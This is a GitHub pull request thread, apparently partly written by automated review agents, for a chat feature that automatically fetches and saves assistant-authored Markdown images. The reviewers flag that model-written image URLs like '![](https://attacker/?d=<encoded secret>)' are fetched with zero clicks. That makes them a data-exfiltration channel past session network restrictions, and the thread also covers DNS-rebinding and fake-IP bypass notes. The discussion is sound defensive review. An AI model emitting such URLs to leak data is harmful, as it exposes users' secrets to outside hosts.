Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 (regression of the earlier P1; maintainers may downgrade, see body): canLoadRemote now checks only resolveHostOutboundExecution(), i.e. privacy mode and the proxy credential. The per-session boundary.kind==='bypass' || profile.network.kind==='enabled' check is gone. Combined with the UI always sending loadRemote, model-chosen image URLs are fetched with zero clicks in explore and ask sessions. A URL like ![](https://attacker/?d=<encoded secret>) becomes an exfil or beacon channel. WebFetch already has the same zero-approval behavior under this policy, so this widens an existing channel rather than opening a new class. Still, it fires from text alone, works where WebFetch is disabled, and re-fires when old transcripts are viewed. Maintainers should decide whether session network restriction governs transcript media.

const context = useContext(DeliveryContext);
const [attempt, setAttempt] = useState(0);
// Saved images can resolve even when display redaction forbids a source fetch.
const loadRemote = allowRemote && isRemoteImageSource(source);

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3: the only remaining client-side gate is !redacted, which means redactSecrets() matched a known secret pattern. The Host trusts loadRemote and does not re-check. Encoded payloads (base64 or hex in the query or path) are not redacted and will be fetched. That is fine as UX, but it is not an exfiltration control.

Comment thread packages/ui/src/markdown-image.tsx Outdated
Comment thread packages/ui/src/markdown-image.tsx Outdated
options.fetch && usesFetchProxy(options.fetch, url) ? options.fetch : undefined;
const response = proxyFetch
? proxyImageResponse(
await proxyFetch(url, { signal, headers, redirect: 'manual', credentials: 'omit' }),

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3: on the proxy path, the public-address check at :97-104 runs on the Host's local DNS answer, but the proxy resolves the name again. Split-horizon names or DNS rebinding can make a corporate proxy reach intranet hosts. These are blind image GETs, capped at 2 MiB. Consider documenting the proxy as the egress authority, or rejecting names whose local answers are fake or non-public before proxying.

: await abortable(() => lookup(host, { all: true }), signal);
if (
!addresses.length ||
addresses.some((a) => !publicAddress(a.address) && !(namedHost && fakeAddress(a.address)))

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3: any attacker-controlled name that resolves to 198.18.0.0/15 or 2001:2::/48 is accepted on the direct path, and the connection is pinned to that address. Where those ranges are routed (labs, benchmark networks, or TUN fake-IP VPNs whose mapping may alias another name), this sidesteps the private-address guard. Consider honoring fake ranges only via a proxy or when a VPN or fake-DNS setting is known.

@Astro-Han Astro-Han left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated review notice: This comment was posted by an automated review agent. It is not an independent human review and does not replace one.

Incremental review: 5d49612c → b535d57b (one commit, "fix(images): enforce copy quotas and restore UI checks"). The merge-base is unchanged (3597abe8).

  • P2 (CI) fixed. The click-to-enlarge trigger is now the design-system Button instead of a hand-written <span role="button">, and CI is green.
  • Quota. assertImageArchiveQuota is split out and now also runs on the copy path under the writer lock. This is an improvement; eviction is still absent (earlier P3, unchanged).
  • P1 (zero-click remote fetch) still open. This commit does not touch the gating (execution-composition.ts:598, image-delivery.tsx:54). It only adds a comment acknowledging that encoded values in model-authored URLs can still leave. The lead ruling from the previous review stands. Model-written remote image URLs are fetched with no user action in every non-privacy-mode session, including explore and ask. This needs an explicit maintainer decision: either restore the click gate or the per-session network gate, or confirm the app-wide policy is the intended boundary, in which case it drops to P2 with documentation.
  • The linked-image click P3 ([![](img)](href) opens the lightbox instead of following the link) still applies to the new Button, which also calls preventDefault/stopPropagation. The proxy and fake-DNS P3s are unchanged.

No new findings in this commit.

@Astro-Han

Astro-Han commented Oct 9, 2026 •

Copy link
Copy Markdown
Contributor

Hi @Sun-GLiang, W0 (windows_sandbox_w0_protocol) has been failing on main with the ERR_INVALID_PACKAGE_CONFIG crash. Your rename of the worker bundle to filesystem-worker.mjs fixes it, so to get main green sooner I folded just that rename into #6016 and credited this PR there. Once it lands, a rebase should let you drop those hunks from this PR (build-filesystem-worker.mjs, resource-resolver.ts, the desktop copy script and builder config, and the release/verify scripts). Thanks for tracking it down!


中文对照:你好 @Sun-GLiang,main 上的 W0(windows_sandbox_w0_protocol)一直因为 ERR_INVALID_PACKAGE_CONFIG 崩溃而失败。你把 worker bundle 改名为 filesystem-worker.mjs 正好能修这个问题。为了让 main 尽快恢复,我把这处改名并入了 #6016,并在里面注明来自本 PR。它合并后,rebase 一下就可以从本 PR 里去掉这些改动(build-filesystem-worker.mjs、resource-resolver.ts、desktop 的拷贝脚本和 builder 配置,以及 release/verify 脚本)。感谢你找到这个问题!

Astro-Han added a commit that referenced this pull request Oct 9, 2026
The worker bundle was emitted as dist/workers/filesystem-worker.js, so
Node walked up to the nearest package.json to decide the module type.
Inside the Windows AppContainer sandbox that read is denied, and the
worker crashed at launch with ERR_INVALID_PACKAGE_CONFIG. The
windows_sandbox_w0_protocol job has failed on main because of it.

An .mjs bundle is ESM by extension, so Node never performs the lookup.
The build and desktop copy scripts now take the file name from
FILESYSTEM_WORKER_BUNDLE_NAME so the producer cannot drift from the
resolver; packaging verifiers keep literal paths because they check the
shipped layout independently.

Split out of #5969, which carries the same rename.

Generated-by: Claude Code
@Sun-GLiang

Copy link
Copy Markdown
Member Author

Thanks @Astro-Han for pulling this fix forward and crediting #5969! It makes sense to unblock W0 independently of the image feature. Once #6016 lands, I’ll rebase this PR onto main, remove the overlapping worker rename and packaging changes, and rerun the relevant checks.

Astro-Han added a commit that referenced this pull request Oct 9, 2026
…lane (#6016)

Eight workflows with a cron trigger had no repository guard, so every fork
with Actions enabled ran them nightly against its own, usually stale, main.
On a fork they fail for reasons unrelated to the change under test: the
dependency audit flags advisories already fixed upstream, and the Windows
release check downloads its upgrade baseline from the fork's own releases,
which do not exist.

Gate each job on `github.event_name != 'schedule' || github.repository ==
'apache/maka'`. Pull request, push and manual dispatch runs keep their
current behavior, including on forks; only cron runs outside apache/maka are
skipped. issue-pr-lifecycle and model-metadata-upkeep already guard on the
repository, and npm-publication is gated by NPM_NIGHTLY_ENABLED.

Generated-by: Claude Code
fix(runtime): emit the filesystem worker bundle as .mjs

The worker bundle was emitted as dist/workers/filesystem-worker.js, so
Node walked up to the nearest package.json to decide the module type.
Inside the Windows AppContainer sandbox that read is denied, and the
worker crashed at launch with ERR_INVALID_PACKAGE_CONFIG. The
windows_sandbox_w0_protocol job has failed on main because of it.

An .mjs bundle is ESM by extension, so Node never performs the lookup.
The build and desktop copy scripts now take the file name from
FILESYSTEM_WORKER_BUNDLE_NAME so the producer cannot drift from the
resolver; packaging verifiers keep literal paths because they check the
shipped layout independently.

Split out of #5969, which carries the same rename.

Generated-by: Claude Code
fix(release): accept the legacy worker name in Windows upgrade baselines

The pinned-version upgrade check verifies the previously released installer
with the current resource list, which now demands
`workers/filesystem-worker.mjs`. Releases built before the rename ship
`filesystem-worker.js`, so the check failed on bytes that were correct when
they shipped. Relax the requirement for the upgrade-baseline contract, like
the other resources that newer builds added.

Generated-by: Claude Code
Resolve assistant Markdown images through a session-scoped Host service,
save bounded replay copies without rewriting message text, and provide
lazy previews, zoom and retry through independent UI capabilities.

Share archived image payloads across deliveries and conversation copies,
reuse Read filesystem boundaries, and retain PublishImage for explicit
publication before temporary sources are removed.

Generated-by: Codex (GPT-6)
Reuse existing image controls and filesystem permissions, separate chat image validation from model input limits, and honor capture deadlines and Host drain. Add regression coverage for streaming, wide images, FIFOs and cancellation.

Generated-by: Codex (GPT-6)
Avoid parent package.json reads outside the worker sandbox grant by shipping the bundled entry as .mjs. Update desktop and CLI packaging and add regression tests for invalid and CommonJS parent package configurations.

Generated-by: Codex (GPT-6)
Reuse shared image validation, preserve structured filesystem failures, recapture invalid saved images on retry, and clean up pending artifacts after terminal persistence. Add regression coverage for validation, retry, recovery, and browser image failures.

Generated-by: Codex (GPT-6)
Move the background-click smoke fix to a separate change so chat image delivery can be reviewed independently.

Generated-by: Codex (GPT-6)
Keep network fixture routing in tests at the Node DNS and HTTP boundary. Exercise the production downloader without an address-policy exception, including private redirects, mixed DNS, byte limits, downgrade prevention and cancellation. Assert that the former runtime option no longer grants loopback access.

Generated-by: Codex (GPT-6)
Remove the separate expand control and hover affordance. Keep keyboard activation and restore focus after closing the image preview.

Generated-by: Codex (GPT-6)
Use application outbound policy and proxy routes for transcript media, permit named VPN fake DNS destinations, and retain private-source checks and archived replay.

Generated-by: Codex (GPT-6)
Apply archive budgets under the writer lock to conversation copies, including
linked child images and configured Host limits. Preserve content deduplication
and verified copy retries.

Use Astryx Button for image enlargement and update the legacy Host-unavailable
Storybook assertion. Document the retained application-media network boundary,
proxy DNS authority and trusted fake-DNS routing assumptions.

Generated-by: Codex (GPT-6)
Require an epoch beyond main 212 and remove the obsolete epoch-210 compatibility declaration.
@Sun-GLiang
Sun-GLiang force-pushed the feature/chat-image-delivery branch from b535d57 to a449346 Compare October 9, 2026 12:03
Record the POSIX FIFO rejection test in the generated Windows skip inventory so the CI consistency gate agrees with the existing tests.

Generated-by: Codex (GPT-6)

@Astro-Han Astro-Han left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated review notice: This comment was posted by an automated review agent. It is not an independent human review and does not replace one.

Reviewed c6b0ec353ff3501ec41ff418824651a226336f29, incrementally from b535d57b364aace0b62f13bcaea72660563e0642. The old merge-base is 3597abe84356409ccc9fb649c761c1649abe941d; the new one is 560a27c1f6aa3d2bad6b3fb2a4c05434d569a2c9. The current complete PR is 94 files, +7213/-207. I compared the two PR patch series with git range-diff, not just the raw head-to-head diff that includes unrelated main changes.

The image implementation is substantially patch-equivalent. Main now supplies the worker .mjs implementation and MCP client upgrade; this PR retains additional worker regression tests. New follow-ups remove the obsolete epoch-210 compatibility declaration, assert the current protocol floor and synchronize the generated Windows skip inventory.

Prior remote-image concern remains; my severity recommendation is P2, not P1. At packages/ui/src/image-delivery.tsx:56, being display-eligible automatically grants loadRemote: true. The effect calls the resolver without a click. packages/ui/src/markdown-image.tsx:94-102 makes an image eligible when it enters a 300 px viewport margin; without IntersectionObserver it is eligible immediately. This can happen during a new response or while viewing an unfetched historical image, before clicking the image, Retry, or Open in browser.

The request goes through Desktop preload/main IPC to Host artifact.image.resolve. The Host requires a present session and a source found in canonical non-partial assistant text, rejects session guests, then uses application outbound policy (packages/runtime-host/src/server/execution-composition.ts:603-621). It does not use Session subprocess network permission or WebFetch tool availability. resolveHostOutboundExecution checks privacy mode and proxy credential readiness; it is not per-image consent. After those checks, the Host issues the GET, including the model-authored path/query, then validates and archives the response. The renderer itself receives archived bytes under the unchanged restrictive CSP.

I reproduced a fabricated encoded value surviving display redaction and reaching a local fixture's request query through the real delivery service, artifact store and downloader. DNS/dial were redirected to that fixture; no public endpoint or real credential was used. Separate production-composition tests prove media loads in explore/ask sessions and is blocked by application privacy mode. Actual Chromium tests prove the automatic UI trigger and offscreen gating. This proves the outbound channel, not successful live-model prompt injection or real confidential-data loss.

The remaining risk is a plain-text tracking/exfiltration channel that still works with WebFetch unavailable and lacks a visible tool call. Removing cookies, auth and referer, validating public addresses, and capping returned image bytes do not remove data already embedded in a request URL. OWASP describes this Markdown-image exfiltration threat. However, I have not established that the product's existing subprocess network restriction promises to constrain all application media traffic, nor reproduced a higher-impact real-data attack. Keeping P1 merely to match an earlier grade overstates that evidence. I recommend P2 for the verified widening and a maintainer decision on suitable application-level remote-media opt-in/trust control; author documentation alone is not maintainer risk acceptance. This concern is not fixed by the rebase.

Mitigations verified: model completion alone does not fetch remote sources; canonical settled text is required; privacy mode blocks initial remote downloads; recognized hidden-secret destinations do not auto-load; saved bytes replay without contacting the original source; literal private/local destinations and unsafe redirects remain rejected; downloads are bounded and failed downloads require retry. I did not demonstrate a renderer-CSP bypass or subprocess-sandbox escape.

Other earlier findings: the hand-written enlarge control is replaced by Astryx Button and the CI failure is resolved. The suspected linked-image click interception is not reproduced: the installed Astryx parser produces no nested image node for either inline or reference-style linked-image syntax, so I would withdraw that specific P3 rather than claim the click handler hijacks a rendered linked image. Proxy final-DNS authority, trusted fake-DNS routing, deferred eviction and the lack of a separate capture-audit stream remain disclosed limitations; I found no new regression in them in this delta.

P3 — epoch collision, packages/runtime-host/src/protocol/index.ts:107: this PR declares 213, correctly above current main 212, but open PR #5394 at 2fc0e4c2efcc38c4df7fda473e6a36bfb9b282de also declares 213 for a different incompatible change. Coordinate merge order and use the next free epoch after the first change lands. This is an allocation conflict, not a demonstrated current-main interoperability failure.

Local verification on Node 22/Linux: Core, Storage, MCP, Runtime, Runtime Host and UI builds passed. Focused suites passed 259 tests with 2 platform skips: 42 delivery tests, 3 image-related production-composition tests, 119 protocol/parser/worker/UI-redaction tests, 38 artifact/transport-group tests, 3 inventory tests and 54 Chromium tests. Scoped Biome and diff whitespace checks passed. I also ran the encoded-URL probe and the installed-parser linked-image probe. I did not rerun full-monorepo tests, actual Electron application journeys, packaged releases or live-provider prompt injection.

The exact-head CI run succeeded, including the Windows inventory, protocol guard, Runtime Host tests and Markdown image security/layout steps. GitHub reports 18 successful checks and one skipped CLI Eval check. The branch is now CONFLICTING/DIRTY against main c11a5336b; a read-only merge finds only docs/windows-test-inventory.md conflicting. Rebase/regenerate that inventory and rerun checks; green checks on this head do not validate a future merged tree.

// Saved images can resolve even when display redaction forbids a source fetch.
// Redaction protects display/retry UX for recognized secrets, not outbound data:
// an encoded value in a model-authored URL may still pass this presentation check.
const loadRemote = allowRemote && isRemoteImageSource(source);

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[P2] Keep an application-level trust decision before automatic remote-media egress. This flag becomes true when ordinary model-authored Markdown enters the viewport margin, not after image-specific consent; the effect sends it before a click or tool call. Host then uses app privacy/proxy policy, so this also works with Session subprocess networking restricted or WebFetch unavailable. A fabricated encoded query value reaches the downloader unredacted in a local fixture. Public-address and response-size checks do not stop URL-carried data or tracking. The channel remains, although I have not demonstrated live-model confidential-data loss or a subprocess-sandbox escape; I recommend P2 rather than carrying the earlier P1 by consistency alone. Preserve local/saved replay while adding suitable opt-in/trust control, or obtain explicit maintainer acceptance of this default.

// Increment when the same protocol version no longer guarantees safe Client-Host
// interoperability. Mismatches are rejected before domain commands are admitted.
export const RUNTIME_HOST_COMPATIBILITY_EPOCH = 212 as const;
export const RUNTIME_HOST_COMPATIBILITY_EPOCH = 213 as const;

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[P3] Coordinate this epoch with #5394. Current main is 212, and both this PR and #5394 at 2fc0e4c declare 213 for different incompatible protocol changes. 213 clears the current-main guard, but whichever lands second must advance beyond the first. This is an in-flight allocation conflict, not a demonstrated interoperability failure with current main.

Store pending and failed attempts independently from archived artifacts, migrate existing state, and publish saved results atomically. Centralize canonical image ranges and UI resource transitions while preserving archive identities, redaction, and source authority.

Generated-by: Codex (GPT-6)
@Sun-GLiang
Sun-GLiang force-pushed the feature/chat-image-delivery branch from aa614a6 to ef91354 Compare October 10, 2026 03:27

@Astro-Han Astro-Han left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated review notice: This comment was posted by an automated review agent. It is not an independent human review and does not replace one.

I checked the increment from c6b0ec353ff3501ec41ff418824651a226336f29 to ef91354f537f47b722332805d9a877ec421c8d91, separating the merge of main from the subsequent image-delivery refactor. The old merge base is 560a27c1f6aa3d2bad6b3fb2a4c05434d569a2c9; the new one is 3ab4ef76de93195df15af2acd4f4f589a39064a2. The existing 26 non-merge commits match in range-diff. The new implementation separates capture attempts from saved artifacts, moves canonical-message lookup into the transcript reader, and consolidates image presentation state and Markdown source positions.

Previous P2 remains: automatic remote requests do not require a user trust decision. At packages/ui/src/image-delivery.tsx:56–66, displaying an eligible remote image still supplies loadRemote: true automatically. The refactored resource hook preserves that behavior. Host composition still uses application outbound/privacy policy, independently of Session subprocess networking or WebFetch availability. No opt-in, source-domain approval, or equivalent trust control was added.

The independent probe using the real service, artifact store and downloader still sends the original fabricated encoded query value to a local fixture on first capture; DNS and connection routing alone are adapted to keep the request local. No cookies, authorization or referer are sent, and saved replay does not request the source again. Four production-Host composition tests pass, including sandbox-independent remote loading and application privacy; all 54 Chromium image tests pass, including automatic display, hidden destinations, saved-byte retry and viewport geometry. These establish the request path, not a live-provider prompt-injection attack or real confidential-data loss. Display redaction is not a substitute for outbound trust control. The PR description now explicitly acknowledges the unresolved concern.

Previous P3 remains: epoch 213 is also claimed by #5394. This branch remains at 213 for artifact.image.resolve, while the currently OPEN #5394 at 2fc0e4c2efcc38c4df7fda473e6a36bfb9b282de claims 213 for Artifact invalidation feeds/guest routing. Main is still 212. Neither collision is a current main-versus-PR handshake failure, but whichever change merges second needs a distinct epoch so incompatible builds cannot advertise the same compatibility identity.

The Windows inventory conflict is resolved. The merge incorporated main's six additional declarations while retaining the image FIFO test, producing 127 declarations. The inventory checker passes. A merge-tree check against current main 40b3d17df3f60d9e0948397c567354bed52e2e51 is conflict-free.

I also checked the new artifact-schema migration (4 to 5), attempt persistence, copy/export/import, successful publication and default archive quotas. The focused Node suites pass 168 tests, with two platform skips; the four composition tests and 54 browser tests are additional. A separate disk-store probe verifies transaction rollback on a precommit fault, terminal-failure precedence during upgrade, unchanged ready-image bytes, placeholder reclamation through the existing maintenance API, and idempotent reopen. Core, Storage, MCP, Runtime, Runtime Host and UI build; CLI dependency notices and the epoch guard pass. I found no additional verified P0–P2 issue in this increment.

The first exact-head CI attempt failed two Usage Storybook width assertions (168.03125 <= 168). The PR does not change those Usage components or stories. This is not enough to attribute the failure to the image changes: the green main run I checked skipped Storybook smoke. Attempt 2 has been started and is still running at this handoff; I am not treating CI as green.

I did not rerun real Electron, packaged-release, Windows/macOS execution, the full monorepo suite, or a live-provider attack. The author's screenshots and Electron runs are not my execution evidence. This feature still needs a human decision on the retained default remote-media policy.

The usage request time column was 168px wide, while Linux system-font text plus padding measures 168.03125px. Increase the column to 176px and retain the strict Storybook fit assertion.

Generated-by: Codex (GPT-6)
The packaged Runtime Host can still write into its temporary profile after Desktop exits. Match Windows verification's bounded fs.rm retry policy so transient ENOTEMPTY and EBUSY errors do not fail Linux package validation.

Generated-by: Codex (GPT-6)
faga295 pushed a commit to faga295/maka that referenced this pull request Oct 10, 2026
Preserve the upstream measured and unavailable tooltip copy in the
post-compaction component assertions. The branch compatibility bump was
already reconciled while replaying the protocol changes: epoch 214 is
ahead of main at 212 and the 213 claims in open PRs apache#5394 and apache#5969.

Generated-by: Codex
Describe remote image loading under application outbound/privacy and proxy policy, independently of session subprocess network restrictions.

Generated-by: Codex (GPT-6)

@Astro-Han Astro-Han left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated review notice: This comment was posted by an automated review agent. It is not an independent human review and does not replace one.

I checked the increment from ef91354f537f47b722332805d9a877ec421c8d91 through a73ab9b0427eb239d496aba050d486db7a401b81, including the current PR diff and the unchanged remote-image authority. The initially requested 9ed0e5dc advanced by one prompt-only commit. Three added commits change three files, without a rebase or new main integration.

  • Previous remote-request P2 remains. packages/ui/src/image-delivery.tsx:56–66 still sends loadRemote automatically for eligible images. packages/runtime-host/src/server/execution-composition.ts:606–610 still authorizes capture through application outbound/privacy policy, independently of Session subprocess networking or WebFetch. The real service/store/downloader probe again transmitted a fabricated encoded query value to a local HTTP fixture, with only DNS/dial routing adapted; it sent no cookies, authorization or referer, and saved replay made no second request. This is not a live-provider attack or demonstrated credential theft. The new system prompt accurately documents automatic loading but does not add consent or change this authority.
  • Previous epoch P3 remains. This head declares 213, current main declares 212, and open PR #5394 at 2fc0e4c2efcc38c4df7fda473e6a36bfb9b282de also declares 213 for different protocol changes. Coordinate the merge order and advance the later change's epoch; this is not a present main/branch handshake failure.
  • Previous Usage CI failure is cleared on 9ed0e5dc. The time column increased from 168 to 176 pixels; the strict width assertion remains intact. Exact-head CI run 38028206944 succeeded, and its log confirms Storybook smoke passed 459 stories / 499 theme renders. The subsequent prompt-only head has its own CI run 38033703469, still running at this check; the earlier green result is not a current-head all-green claim.
  • Linux release verification now retries temporary-directory removal with the bounded policy already used on Windows. No release assertions were removed. The migration and image-attempt persistence changes from the prior revision are unchanged; their earlier migration evidence was not rerun here.

No new verified P0–P2 was found in this increment. Six workspace builds pass. Locally, 44 prompt/image-delivery tests, four production-Host composition tests, 12 Linux verifier harness tests, 32 selected release-contract tests and 54 Chromium image tests pass. An initial broader release-test invocation reached one unbuilt Eval dist prerequisite; that unrelated assertion was excluded from the selected rerun, not represented as a pass. The independent egress probe and epoch guard pass. A merge check against current main has no source conflicts.

Outstanding remote-media risk still requires an explicit human decision. I did not run real Electron, actual packaged-release cleanup races, Windows/macOS, the complete monorepo suite or live-provider attacks. I did not independently rerun the Usage Storybook journey on this new prompt-only head.

Move destination validation and direct DNS pinning into the existing fetch transport. Image downloads opt in; ordinary callers retain their defaults. Let configured proxies resolve original hostnames and remove VPN fake-DNS exceptions.

Generated-by: Codex (GPT-6)
Generated-by: Codex (GPT-6)
Share image AST traversal and canonical destination handling across image and link modes. Move message identity scope into assistant bubbles and reuse narrow chat image service contracts across desktop surfaces.

Cover canonical image links and the renamed WorkHub preload capability. Validate 164 related Node tests, 57 browser scenarios, 166 architecture fixtures, desktop typechecks and Biome checks.

Generated-by: Codex (GPT-6)

@Astro-Han Astro-Han left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated review notice: This comment was posted by an automated review agent. It is not an independent human review and does not replace one.

At c19d60ecb72f7cce0eb90ff56e65049aff263fb1, the previous remote-request P2 and compatibility-epoch P3 remain. No new verified P0–P2 was found in the changes after a73ab9b0427eb239d496aba050d486db7a401b81.

  • P2 — automatic final-answer media still bypasses Session network authority. Reasoning, intermediate commentary and provisional live replies now render images as links without image-delivery or attachment reads. This narrows exposure, but completed final replies still automatically send loadRemote in packages/ui/src/image-delivery.tsx; production Host composition still authorizes the download through application outbound/privacy policy, independently of Session subprocess networking or WebFetch. A real service/store/downloader probe on this head transmitted a fabricated encoded query value once to a local fixture, without cookies, authorization or referer; saved replay made no second request. Only DNS/dial routing was adapted. This is not a live-provider attack or demonstrated credential theft. The documented unresolved concern remains a human risk decision, not a consent control.
  • P3 — epoch 213 is still shared with a different pending protocol change. Current main 2463d86c386c6bafc483b3d838f3014f4fc9b664 declares 212; open PR #5394 at 2fc0e4c2efcc38c4df7fda473e6a36bfb9b282de also declares 213. Coordinate the merge order and advance the later change's epoch. This is not a present main/branch handshake failure.

Image downloads now opt into the shared transport's per-request public-destination policy. Direct DNS answers are checked and pinned, unsafe redirects and benchmark addresses are rejected, ordinary fetch defaults remain unchanged, and configured HTTP/SOCKS proxies own remote DNS resolution. The service-contract rename is wired through preload, main conversation, side chat and WorkHub. Natural-size previews now intentionally expand from a compact placeholder after decoding; fixed loading/ready geometry is no longer promised. The browser tests retain proportional scaling, narrow-column containment, no upscaling and click/keyboard enlargement checks.

On this exact head, 109 network/prompt/image-delivery tests, four production-Host composition tests, 96 UI tests and 64 Chromium image scenarios pass. UI build and all four Desktop TypeScript configurations pass; the initial local typecheck needed the missing computer-use build prerequisite before the successful rerun. The egress probe and protocol guard pass, and merging against current main has no source conflicts.

CI run 38039032678 passed on the preceding 03f7ed6a head, including 459 Storybook stories / 499 theme renders. Current-head CI run 38040817332 was still running at this check; the earlier green run is not an all-green claim for this head. The reported Usage width failure was attributed to main's existing test by the review coordinator, not to this PR. Its strict geometry assertion is unchanged in this increment.

Real Electron, live-provider attacks, Windows/macOS, the complete monorepo suite and the unchanged migration paths were not rerun locally.

ARE404 added a commit to ARE404/maka-agent that referenced this pull request Oct 10, 2026
Epoch 214 is also declared by open PR apache#5548. Verified all 188 current open PR heads: apache#5394 and apache#5969 use 213, apache#5548 and this PR use 214, and 215 is unused. Move WorkHub to 215; allocation must be rechecked at integration because the base-only CI guard cannot reserve numbers across open branches.

Generated-by: Codex
ARE404 added a commit that referenced this pull request Oct 10, 2026
…6051)

* refactor(workhub): simplify coordination and execution configuration

Use the coordinating agent directly, persist WorkHub model settings, scope delegated permissions to executions, and separate steering from stop and delegation. Preserve historical recovery records and return worker missing information through ordinary follow-up messages.

Generated-by: Codex

* fix(workhub): propagate delegated execution policy and steering questions

Preserve delegated permissions across child and graph execution lineage, restore scoped policy from durable Host facts, and update question handling when steering an existing backend.

Generated-by: Codex

* fix(runtime): support frozen stores in delegated execution policy

Use an independent proxy facade so bound methods and permission read overrides do not violate invariants on frozen Host stores. Exercise the production frozen facade shape in the scoped-policy regression test.

Generated-by: Codex

* feat(desktop): route remote chats through shared WorkHub

Add remote message handling settings, durable source-aware replies, and compact interaction choice answers.

Generated-by: Codex

* fix(core): simplify remote message source labels

Generated-by: Codex

* fix(desktop): keep message copy actions visible

Generated-by: Codex

* fix(desktop): size WorkHub rails to message bubbles

Generated-by: Codex

* feat(workhub): preserve intent and show clarification handoffs

Generated-by: Codex

* fix(workhub): link result replies to their source task rails

Result notification turns had no links unless they delegated again. Derive their Host-scoped task identity from the durable result origin so rails and filters also cover tool-free result summaries.

Generated-by: Codex

* feat(workhub): add wn current-work and next-prompt shortcut

Generated-by: Codex

* fix(workhub): show progress and next steps for three recent works

Generated-by: Codex

* feat(workhub): place concise wn suggestions in composer draft

Generated-by: Codex

* fix(workhub): simplify answer summaries and balance result spacing

Generated-by: Codex

* style(workhub): reduce spacing before result notices to 4px

Generated-by: Codex

* refactor(ui): share transcript disclosure for selected answers and completion

Generated-by: Codex

* style(workhub): remove handoff content disclosure

Generated-by: Codex

* style(workhub): remove gap before result notices

Generated-by: Codex

* style(ui): highlight focused choice instead of picker outline

Generated-by: Codex

* fix(ui): confirm question answers on option click

Generated-by: Codex

* fix(desktop): localize WorkHub remote handling settings through catalog

Generated-by: Codex

* fix(ci): refresh surface inventory for shared transcript disclosure

Generated-by: Codex

* test(desktop): retain pending choices with keyboard selection

Generated-by: Codex

* fix(desktop): align story geometry with rails and timestamp sizing

Check WorkHub rails against bubble bounds after the shorter-rail design. Give localized usage timestamps 8px more room so Linux font metrics fit without weakening the overflow assertion.

Generated-by: Codex

* fix(workhub): preserve steering policy across physical successors

Resolve the latest durable policy for each physical continuation, including steered ordinary admissions with no sourceMessages. Add production composition coverage proving successor inheritance and restoration on a later user Turn. Use compatibility epoch 214 to distinguish this contract from the open epoch-213 changes.

Generated-by: Codex

* test(desktop): reconcile WorkHub fixtures after main rebase

Provide the shared WorkHub enablement context to the new dock backdrop fixture and refresh the merged UI inventory totals.

Generated-by: Codex

* fix(protocol): assign WorkHub an unused compatibility epoch

Epoch 214 is also declared by open PR #5548. Verified all 188 current open PR heads: #5394 and #5969 use 213, #5548 and this PR use 214, and 215 is unused. Move WorkHub to 215; allocation must be rechecked at integration because the base-only CI guard cannot reserve numbers across open branches.

Generated-by: Codex
faga295 pushed a commit to faga295/maka that referenced this pull request Oct 10, 2026
Preserve the upstream measured and unavailable tooltip copy in the
post-compaction component assertions. The branch compatibility bump was
already reconciled while replaying the protocol changes: epoch 214 is
ahead of main at 212 and the 213 claims in open PRs apache#5394 and apache#5969.

Generated-by: Codex

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

effort/XXL Over 2500 readable lines

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Automatically display and preserve assistant images in chat

2 participants